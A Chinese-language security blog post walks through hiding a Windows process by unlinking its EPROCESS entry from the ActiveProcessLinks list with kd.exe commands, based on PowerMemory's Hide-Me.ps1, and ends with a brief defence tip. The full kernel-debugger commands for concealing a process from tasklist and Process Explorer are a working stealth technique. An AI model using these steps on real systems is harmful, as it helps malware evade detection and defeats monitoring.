Powershell tricks__Hide Process by kd.exe
0x00 前言
Pierre-Alexandre Braeken
在 SecTor2016 上做了一个很棒的演讲——HACK MICROSOFT BY USING MICROSOFT SIGNED BINARIES
他对自己开源的工具 PowerMemory
做了介绍,将 powershell 同使用微软签名的程序相结合,可以绕过 Device Guard 和杀毒软件的拦截
- 演讲视频地址:https://sector.ca/sessions/hack-microsoft-by-using-microsoft-signed-binaries/
- PowerMemory 项目地址:https://github.com/giMini/PowerMemory/
0x01 简介
PowerMemory 内包含的脚本很多,其中一个比较有趣的脚本是 Hide-Me.ps1
,通过借助 kb.exe
来实现对进程的隐藏
本文将对该脚本进行测试,介绍进程隐藏的原理,修改原脚本,分析利用和防御方法。
0x02 相关概念
PCB(process control block):
进程控制块,是系统为了管理进程专门设置的一个数据结构
PCB 的组织方式:
- 线性表方式:不论进程的状态如何,将所有的 PCB 连续地存放在内存的系统区。这种方式适用于系统中进程数目不多的情况
- 索引表方式:该方式是线性表方式的改进,系统按照进程的状态分别建立就绪索引表、阻塞索引表等
- 链接表方式:系统按照进程的状态将进程的 PCB 组成队列,从而形成就绪队列、阻塞队列、运行队列等
不同操作系统的 PCB 结构不同
Windows 下的 PCB 是 EPROCESS 结构
进程链表是一个双向环链表
EPROCESS 结构:
每个进程都有一个 EPROCESS 结构,里面保存着进程的各种信息和相关结构的指针
注:Windows 各版本的 EPROCESS 结构存在差异
EPROCESS 结构位于系统地址空间,所以访问这个结构需要有 ring0 的权限
注:Windows 开启 Local kernel debugging 模式后,可进入 ring0,使用内核态调试器
基本的内核态调试器有以下两种:
- kd.exe(KD)
命令行模式
常用于调试内核态的应用程序和驱动程序,调试用户态的应用程序,或者监视操作系统自身的行为等
- windbg.exe(WinDbg)
界面模式
可以为 Windows 内核、内核态驱动程序以及用户态应用程序提供完整的源代码级调试
通过 kd.exe 可以查看 EPROCESS 结构,命令行参数如下:
kd -kl -y "srv*c:\symbols*http://msdl.microsoft.com/download/symbols" -c "dt nt!_eprocess"
回显如下:
lkd> kd: Reading initial command 'dt nt!_eprocess;Q'
+0x000 Pcb : _KPROCESS
+0x2d8 ProcessLock : _EX_PUSH_LOCK
+0x2e0 RundownProtect : _EX_RUNDOWN_REF
+0x2e8 UniqueProcessId : Ptr64 Void
+0x2f0 ActiveProcessLinks : _LIST_ENTRY
+0x300 Flags2 : Uint4B
+0x300 JobNotReallyActive : Pos 0, 1 Bit
+0x300 AccountingFolded : Pos 1, 1 Bit
+0x300 NewProcessReported : Pos 2, 1 Bit
+0x300 ExitProcessReported : Pos 3, 1 Bit
+0x300 ReportCommitChanges : Pos 4, 1 Bit
+0x300 LastReportMemory : Pos 5, 1 Bit
+0x300 ForceWakeCharge : Pos 6, 1 Bit
+0x300 CrossSessionCreate : Pos 7, 1 Bit
+0x300 NeedsHandleRundown : Pos 8, 1 Bit
+0x300 RefTraceEnabled : Pos 9, 1 Bit
+0x300 DisableDynamicCode : Pos 10, 1 Bit
+0x300 EmptyJobEvaluated : Pos 11, 1 Bit
+0x300 DefaultPagePriority : Pos 12, 3 Bits
+0x300 PrimaryTokenFrozen : Pos 15, 1 Bit
+0x300 ProcessVerifierTarget : Pos 16, 1 Bit
+0x300 StackRandomizationDisabled : Pos 17, 1 Bit
+0x300 AffinityPermanent : Pos 18, 1 Bit
+0x300 AffinityUpdateEnable : Pos 19, 1 Bit
+0x300 PropagateNode : Pos 20, 1 Bit
+0x300 ExplicitAffinity : Pos 21, 1 Bit
+0x300 ProcessExecutionState : Pos 22, 2 Bits
+0x300 DisallowStrippedImages : Pos 24, 1 Bit
+0x300 HighEntropyASLREnabled : Pos 25, 1 Bit
+0x300 ExtensionPointDisable : Pos 26, 1 Bit
+0x300 ForceRelocateImages : Pos 27, 1 Bit
+0x300 ProcessStateChangeRequest : Pos 28, 2 Bits
+0x300 ProcessStateChangeInProgress : Pos 30, 1 Bit
+0x300 DisallowWin32kSystemCalls : Pos 31, 1 Bit
+0x304 Flags : Uint4B
+0x304 CreateReported : Pos 0, 1 Bit
+0x304 NoDebugInherit : Pos 1, 1 Bit
+0x304 ProcessExiting : Pos 2, 1 Bit
+0x304 ProcessDelete : Pos 3, 1 Bit
+0x304 ControlFlowGuardEnabled : Pos 4, 1 Bit
+0x304 VmDeleted : Pos 5, 1 Bit
+0x304 OutswapEnabled : Pos 6, 1 Bit
+0x304 Outswapped : Pos 7, 1 Bit
+0x304 FailFastOnCommitFail : Pos 8, 1 Bit
+0x304 Wow64VaSpace4Gb : Pos 9, 1 Bit
+0x304 AddressSpaceInitialized : Pos 10, 2 Bits
+0x304 SetTimerResolution : Pos 12, 1 Bit
+0x304 BreakOnTermination : Pos 13, 1 Bit
+0x304 DeprioritizeViews : Pos 14, 1 Bit
+0x304 WriteWatch : Pos 15, 1 Bit
+0x304 ProcessInSession : Pos 16, 1 Bit
+0x304 OverrideAddressSpace : Pos 17, 1 Bit
+0x304 HasAddressSpace : Pos 18, 1 Bit
+0x304 LaunchPrefetched : Pos 19, 1 Bit
+0x304 Background : Pos 20, 1 Bit
+0x304 VmTopDown : Pos 21, 1 Bit
+0x304 ImageNotifyDone : Pos 22, 1 Bit
+0x304 PdeUpdateNeeded : Pos 23, 1 Bit
+0x304 VdmAllowed : Pos 24, 1 Bit
+0x304 ProcessRundown : Pos 25, 1 Bit
+0x304 ProcessInserted : Pos 26, 1 Bit
+0x304 DefaultIoPriority : Pos 27, 3 Bits
+0x304 ProcessSelfDelete : Pos 30, 1 Bit
+0x304 SetTimerResolutionLink : Pos 31, 1 Bit
+0x308 CreateTime : _LARGE_INTEGER
+0x310 ProcessQuotaUsage : [2] Uint8B
+0x320 ProcessQuotaPeak : [2] Uint8B
+0x330 PeakVirtualSize : Uint8B
+0x338 VirtualSize : Uint8B
+0x340 SessionProcessLinks : _LIST_ENTRY
+0x350 ExceptionPortData : Ptr64 Void
+0x350 ExceptionPortValue : Uint8B
+0x350 ExceptionPortState : Pos 0, 3 Bits
+0x358 Token : _EX_FAST_REF
+0x360 WorkingSetPage : Uint8B
+0x368 AddressCreationLock : _EX_PUSH_LOCK
+0x370 PageTableCommitmentLock : _EX_PUSH_LOCK
+0x378 RotateInProgress : Ptr64 _ETHREAD
+0x380 ForkInProgress : Ptr64 _ETHREAD
+0x388 CommitChargeJob : Ptr64 _EJOB
+0x390 CloneRoot : _RTL_AVL_TREE
+0x398 NumberOfPrivatePages : Uint8B
+0x3a0 NumberOfLockedPages : Uint8B
+0x3a8 Win32Process : Ptr64 Void
+0x3b0 Job : Ptr64 _EJOB
+0x3b8 SectionObject : Ptr64 Void
+0x3c0 SectionBaseAddress : Ptr64 Void
+0x3c8 Cookie : Uint4B
+0x3d0 WorkingSetWatch : Ptr64 _PAGEFAULT_HISTORY
+0x3d8 Win32WindowStation : Ptr64 Void
+0x3e0 InheritedFromUniqueProcessId : Ptr64 Void
+0x3e8 LdtInformation : Ptr64 Void
+0x3f0 OwnerProcessId : Uint8B
+0x3f8 Peb : Ptr64 _PEB
+0x400 Session : Ptr64 Void
+0x408 AweInfo : Ptr64 Void
+0x410 QuotaBlock : Ptr64 _EPROCESS_QUOTA_BLOCK
+0x418 ObjectTable : Ptr64 _HANDLE_TABLE
+0x420 DebugPort : Ptr64 Void
+0x428 WoW64Process : Ptr64 _EWOW64PROCESS
+0x430 DeviceMap : Ptr64 Void
+0x438 EtwDataSource : Ptr64 Void
+0x440 PageDirectoryPte : Uint8B
+0x448 ImageFilePointer : Ptr64 _FILE_OBJECT
+0x450 ImageFileName : [15] UChar
+0x45f PriorityClass : UChar
+0x460 SecurityPort : Ptr64 Void
+0x468 SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO
+0x470 JobLinks : _LIST_ENTRY
+0x480 HighestUserAddress : Ptr64 Void
+0x488 ThreadListHead : _LIST_ENTRY
+0x498 ActiveThreads : Uint4B
+0x49c ImagePathHash : Uint4B
+0x4a0 DefaultHardErrorProcessing : Uint4B
+0x4a4 LastThreadExitStatus : Int4B
+0x4a8 PrefetchTrace : _EX_FAST_REF
+0x4b0 LockedPagesList : Ptr64 Void
+0x4b8 ReadOperationCount : _LARGE_INTEGER
+0x4c0 WriteOperationCount : _LARGE_INTEGER
+0x4c8 OtherOperationCount : _LARGE_INTEGER
+0x4d0 ReadTransferCount : _LARGE_INTEGER
+0x4d8 WriteTransferCount : _LARGE_INTEGER
+0x4e0 OtherTransferCount : _LARGE_INTEGER
+0x4e8 CommitChargeLimit : Uint8B
+0x4f0 CommitCharge : Uint8B
+0x4f8 CommitChargePeak : Uint8B
+0x500 Vm : _MMSUPPORT
+0x5f8 MmProcessLinks : _LIST_ENTRY
+0x608 ModifiedPageCount : Uint4B
+0x60c ExitStatus : Int4B
+0x610 VadRoot : _RTL_AVL_TREE
+0x618 VadHint : Ptr64 Void
+0x620 VadCount : Uint8B
+0x628 VadPhysicalPages : Uint8B
+0x630 VadPhysicalPagesLimit : Uint8B
+0x638 AlpcContext : _ALPC_PROCESS_CONTEXT
+0x658 TimerResolutionLink : _LIST_ENTRY
+0x668 TimerResolutionStackRecord : Ptr64 _PO_DIAG_STACK_RECORD
+0x670 RequestedTimerResolution : Uint4B
+0x674 SmallestTimerResolution : Uint4B
+0x678 ExitTime : _LARGE_INTEGER
+0x680 InvertedFunctionTable : Ptr64 _INVERTED_FUNCTION_TABLE
+0x688 InvertedFunctionTableLock : _EX_PUSH_LOCK
+0x690 ActiveThreadsHighWatermark : Uint4B
+0x694 LargePrivateVadCount : Uint4B
+0x698 ThreadListLock : _EX_PUSH_LOCK
+0x6a0 WnfContext : Ptr64 Void
+0x6a8 Spare0 : Uint8B
+0x6b0 SignatureLevel : UChar
+0x6b1 SectionSignatureLevel : UChar
+0x6b2 Protection : _PS_PROTECTION
+0x6b3 HangCount : UChar
+0x6b4 Flags3 : Uint4B
+0x6b4 Minimal : Pos 0, 1 Bit
+0x6b4 ReplacingPageRoot : Pos 1, 1 Bit
+0x6b4 DisableNonSystemFonts : Pos 2, 1 Bit
+0x6b4 AuditNonSystemFontLoading : Pos 3, 1 Bit
+0x6b4 Crashed : Pos 4, 1 Bit
+0x6b4 JobVadsAreTracked : Pos 5, 1 Bit
+0x6b4 VadTrackingDisabled : Pos 6, 1 Bit
+0x6b4 AuxiliaryProcess : Pos 7, 1 Bit
+0x6b4 SubsystemProcess : Pos 8, 1 Bit
+0x6b4 IndirectCpuSets : Pos 9, 1 Bit
+0x6b4 InPrivate : Pos 10, 1 Bit
+0x6b4 ProhibitRemoteImageMap : Pos 11, 1 Bit
+0x6b4 ProhibitLowILImageMap : Pos 12, 1 Bit
+0x6b4 SignatureMitigationOptIn : Pos 13, 1 Bit
+0x6b8 DeviceAsid : Int4B
+0x6c0 SvmData : Ptr64 Void
+0x6c8 SvmProcessLock : _EX_PUSH_LOCK
+0x6d0 SvmLock : Uint8B
+0x6d8 SvmProcessDeviceListHead : _LIST_ENTRY
+0x6e8 LastFreezeInterruptTime : Uint8B
+0x6f0 DiskCounters : Ptr64 _PROCESS_DISK_COUNTERS
+0x6f8 PicoContext : Ptr64 Void
+0x700 TrustletIdentity : Uint8B
+0x708 KeepAliveCounter : Uint4B
+0x70c NoWakeKeepAliveCounter : Uint4B
+0x710 HighPriorityFaultsAllowed : Uint4B
+0x718 EnergyValues : Ptr64 _PROCESS_ENERGY_VALUES
+0x720 VmContext : Ptr64 Void
+0x728 SequenceNumber : Uint8B
+0x730 CreateInterruptTime : Uint8B
+0x738 CreateUnbiasedInterruptTime : Uint8B
+0x740 TotalUnbiasedFrozenTime : Uint8B
+0x748 LastAppStateUpdateTime : Uint8B
+0x750 LastAppStateUptime : Pos 0, 61 Bits
+0x750 LastAppState : Pos 61, 3 Bits
+0x758 SharedCommitCharge : Uint8B
+0x760 SharedCommitLock : _EX_PUSH_LOCK
+0x768 SharedCommitLinks : _LIST_ENTRY
+0x778 AllowedCpuSets : Uint8B
+0x780 DefaultCpuSets : Uint8B
+0x778 AllowedCpuSetsIndirect : Ptr64 Uint8B
+0x780 DefaultCpuSetsIndirect : Ptr64 Uint8B
其中, +0x2f0 ActiveProcessLinks : _LIST_ENTRY
表示进程活动链表
进程活动链表:
是一个 PLIST_ENTRY 结构的双向链表,把每个 EPROCESS 链接起来
当一个新进程建立的时候,父进程负责完成 EPROCESS 块,然后把 ActiveProcessLinks 链接到一个全局内核变量 PsActiveProcessHead 链表中
当进程结束的时候,该进程的 EPROCESS 结构从活动进程链上摘除
遍历整个链表,就能实现对进程的枚举
双链表的删除操作:
如图
void DDeleteNode(DListNode p) {//在带头结点的双链表中,删除结点p,设*p 为非终端结点 p->prior->next=p->next;//① (使 p 的前一个结点的后驱直接指向 原来的 p 的后驱) p->next->prior=p->prior;//② (使 p 的后一个结点的前驱 直接为原来 p 的前一个结点) free(p);//③ (释放 p 的内存) }
图和说明引用自 http://blog.163.com/haibianfeng_yr/blog/static/34572620201453061036702/
隐藏进程:
相当于对双向链表 ActiveProcessLinks 断链
对应双链表的删除需要做如下操作:
- p->prior->next=p->next Flink->Blink=Blink
- p->next->prior=p->prior Blink->Flink = Flink
- free(p) Blink =dwSelfEPROCESS Flink = dwSelfEPROCESS
接下来实例介绍如何通过 kd.exe 隐藏进程,也就是双链表的断链
0x03 通过 kd.exe 隐藏进程
环境搭建:
- 开启 Local kernel debugging 模式
注:自从 Windows Vista 开始,Local kernel debugging 默认被禁用
开启方法:
管理员权限执行: bcdedit -debug on
,重启
下载安装 Debugging Tools for Windows,找到 kd.exe
测试进程: notepad.exe
测试系统: Win10 x64
1、获取 notepad.exe 的内存起始地址
kd 命令:
!process 0 0 $processName
完整命令:
kd -kl -y "srv*c:\symbols*http://msdl.microsoft.com/download/symbols" -c "!process 0 0 notepad.exe;Q"
如图
notepad.exe 的内存起始地址$processAddress 为 ffffe00195236080
2、获取进程 notepad.exe 的 Flink 和 Blink
kd 命令:
dt nt!_eprocess ActiveProcessLinks ImageFileName $processAddress
完整命令:
kd -kl -y "srv*c:\symbols*http://msdl.microsoft.com/download/symbols" -c "dt nt!_eprocess ActiveProcessLinks ImageFileName ffffe00195236080;Q"
如图
注:
FLINK 指针指向下一个元素,相当于双链表中的 p->next
BLINK 指针指向前一个元素,相当于双链表中的 p->prior
_LIST_ENTRY 结构如下:
_LIST_ENTRY[Flink-Blink]
前一参数代表 Flink,后一参数代表 Blink
由上图可知:
- $Flink:0xffffe001`93e1a370
- $Blink:0xffffe001`9604f6f0
3、获取进程 notepad.exe 在双链表的地址$thisProcessLinks
kd 命令:
dt nt!_eprocess ActiveProcessLinks.Blink ImageFileName $processAddress
完整命令:
kd -kl -y "srv*c:\symbols*http://msdl.microsoft.com/download/symbols" -c "dt nt!_eprocess ActiveProcessLinks.Blink ImageFileName ffffe00195236080;Q"
如图
可知:$thisProcessLinks:0xffffe001`95236370
注:dt nt!_eprocess ActiveProcessLinks.Blink ImageFileName 相当于进程 notepad.exe 的前一个进程
故
+0x008 Blink : 0xffffe001`9604f6f0 _LIST_ENTRY [0xffffe001`95236370-Blink]
中的 0xffffe001`95236370 相当于进程 notepad.exe 在双链表的地址$thisProcessLinks
补充:
+0x000 Flink: 0xffffe001`93e1a370 _LIST_ENTRY[Flink-Blink]中的 Blink 也能代表双链表的地址$thisProcessLinks
简单的理解:
当前进程的 Blink 的 Flink 等价于当前进程的 Flink 的 Blink,也就是当前进程的地址$thisProcessLinks
4、将前一进程指向下一个元素的指针 FLINK 替换为当前进程的 FLINK 指针(Flink->Blink=Blink)
即双链表删除操作的第 1 步:p->prior->next=p->next
kd 命令:
f $Blink+0x000 L4 ($Flink 的第 0 字节) ($Flink 的第 1 字节) ($Flink 的第 2 字节) ($Flink 的第 3 字节)
注:
+0x000 代表 Flink
+0x008 代表 Blink
$Blink+0x000 代表 p->prior->next(0x000 为 0,可省略)
L4 参数指定内存区间的长度为 4 个 DWORD
完整命令:
kd -kl -y "srv*c:\symbols*http://msdl.microsoft.com/download/symbols" -c "f 0xffffe001`9604f6f0 L4 0x70 0xa3 0xe1 0x93;Q"
如图
操作成功,实现双链表删除中的 p->prior->next=p->next
5、将下一进程指向前一个元素的指针 Blink 替换为当前进程的 BLINK 指针
即双链表删除操作的第 2 步:
p->next->prior=p->prior
kd 命令:
f $Flink+0x008 L4 ($Blink 的第 0 字节) ($Blink 的第 1 字节) ($Blink 的第 2 字节) ($Blink 的第 3 字节)
注:
+0x008 代表 Blink
$Flink++0x008 代表 p->next->prior
完整命令:
kd -kl -y "srv*c:\symbols*http://msdl.microsoft.com/download/symbols" -c "f 0xffffe001`93e1a370 L4 0xf0 0xf6 0x04 0x96;Q"
如图
操作成功,实现双链表删除中的 p->next->prior=p->prior
6、进程自身的新 Flink 指向进程自身的双链表地址$thisProcessLinks
kd 命令:
f $thisProcessLinks+0x000 L4 ($thisProcessLinks 的第 0 字节) ($thisProcessLinks 的第 1 字节) ($thisProcessLinks 的第 2 字节) (thisProcessLinks 的第 3 字节)
注:
+0x000 代表 Flink
完整命令:
kd -kl -y "srv*c:\symbols*http://msdl.microsoft.com/download/symbols" -c "0xffffe001`95236370 L4 0x70 0x63 0x23 0x95;Q"
如图
7、进程自身的新 Blink 指向进程自身的双链表地址$thisProcessLinks
kd 命令:
f $thisProcessLinks+0x008 L4 ($thisProcessLinks 的第 0 字节) ($thisProcessLinks 的第 1 字节) ($thisProcessLinks 的第 2 字节) (thisProcessLinks 的第 3 字节)
注:
+0x008 代表 Blink
完整命令:
kd -kl -y "srv*c:\symbols*http://msdl.microsoft.com/download/symbols" -c "0xffffe001`95236370+0x008 L4 0x70 0x63 0x23 0x95;Q"
如图
注:
7、8 操作必须,对应双链表删除操作中的 free(p),否则会蓝屏
8、测试
在 tasklist 和 Process Explorer 中,notepad.exe 进程均被隐藏
0x04 powershell 自动实现
以上操作可通过 powershell 脚本自动实现,这就是 Hide-Me.ps1 实现的功能
Hide-Me.ps1 有一处需要注意的地方: https://github.com/giMini/PowerMemory/blob/master/PowerProcess/Hide-Me.ps1#L128
f $BLINK L4 0x$($FLINK.Substring(17,2)) 0x$($FLINK.Substring(15,2)) 0x$($FLINK.Substring(13,2)) 0x$($FLINK.Substring(11,2))"
此处 $BLINK
实际为 $BLINK+0x000
,表示 p->prior->next
(0x000 为 0,已省略)
适用环境:
- Win7、8、10 64 位操作系统
利用前提:
- 开启 Local kernel debugging 模式
- 管理员权限执行:bcdedit -debug on
- 重启后测试
由于 PowerMemory 做了脚本整合,所以 Hide-Me.ps1 还需要其他支持文件
我对其进行了少量修改,只提取隐藏进程的关键代码,最终整合到一个 ps 脚本中,地址如下:https://github.com/3gstudent/Hide-Process-by-kd.exe
0x05 防御思路
该方法利用前提:
已获得系统管理员权限并开启 Local kernel debugging 模式,系统重启,也就是说攻击者已进入 ring 0 层才能利用这个方法,对于普通用户,可以永久关闭 Local kernel debugging 模式:
- bcdedit -debug off
0x06 补充
- 该脚本尚不支持 32 位系统
- Windbg 也能实现相同操作
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论